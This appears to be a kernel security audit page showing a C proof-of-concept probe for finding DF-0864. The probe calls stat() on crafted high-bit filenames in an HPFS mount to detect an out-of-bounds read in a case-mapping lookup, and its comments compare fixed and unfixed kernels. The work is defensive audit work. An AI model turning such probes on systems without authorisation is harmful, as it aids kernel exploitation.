DragonFlyBSD Kernel Audit
DF-0864 / probe.c
← back to finding ↓ download raw
/*
 * DF-0864 lookup probe: stat() various names in the mounted HPFS
 * filesystem to test the comparison oracle.  Handles high-bit bytes
 * natively in C, avoiding shell quoting issues.
 *
 * Build: cc -o probe probe.c
 * Run:   ./probe /mnt/df0864v
 */
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>

static void try_stat(const char *dir, const char *name, int namelen,
                     const char *label)
{
    char path[512];
    snprintf(path, sizeof(path), "%s/", dir);
    /* append raw name bytes */
    int off = strlen(path);
    memcpy(path + off, name, namelen);
    path[off + namelen] = '\0';

    struct stat st;
    int rc = stat(path, &st);
    printf("  %-30s rc=%d  %s\n", label, rc,
           (rc == 0) ? "MATCH (entry found)" :
           "NO MATCH (ENOENT)");
}

int main(int argc, char **argv)
{
    const char *dir = (argc > 1) ? argv[1] : "/mnt/df0864v";
    printf("Probing HPFS mount at %s\n", dir);

    /* dirent name on disk: 0xFF 0xFF 0xFF 0xFF (maps to b_upcase[0x7F]) */
    char name_ff[4] = { 0xFF, 0xFF, 0xFF, 0xFF };
    /* probe: 0x80 0x80 0x80 0x80 (maps to b_upcase[0x00] via hpfs_u2d) */
    char name_80[4] = { 0x80, 0x80, 0x80, 0x80 };
    /* probe: 0xFF 0xFF 0xFF 0xFF (exact dirent name, always matches) */
    /* probe: ASCII "test" (no high-bit, no OOB access) */
    char name_ascii[5] = "test";

    try_stat(dir, name_ff, 4, "exact-dirent-name(0xFFx4)");
    try_stat(dir, name_80, 4, "oracle-probe(0x80x4)");
    try_stat(dir, name_ascii, 4, "ascii-probe(test)");

    /* Oracle interpretation:
     *   dirent maps to b_upcase[0x7F], lookup 0x80 maps to b_upcase[0x00].
     *   In oracle mode: b_upcase[0]=0x42, b_upcase[0x7F]=0x42.
     *   FIXED (cp=0):    0x42 - 0x42 = 0 -> MATCH
     *   UNFIXED (cp=255): OOB[0] - OOB[0x7F] -> depends on heap (usually 0)
     */
    return 0;
}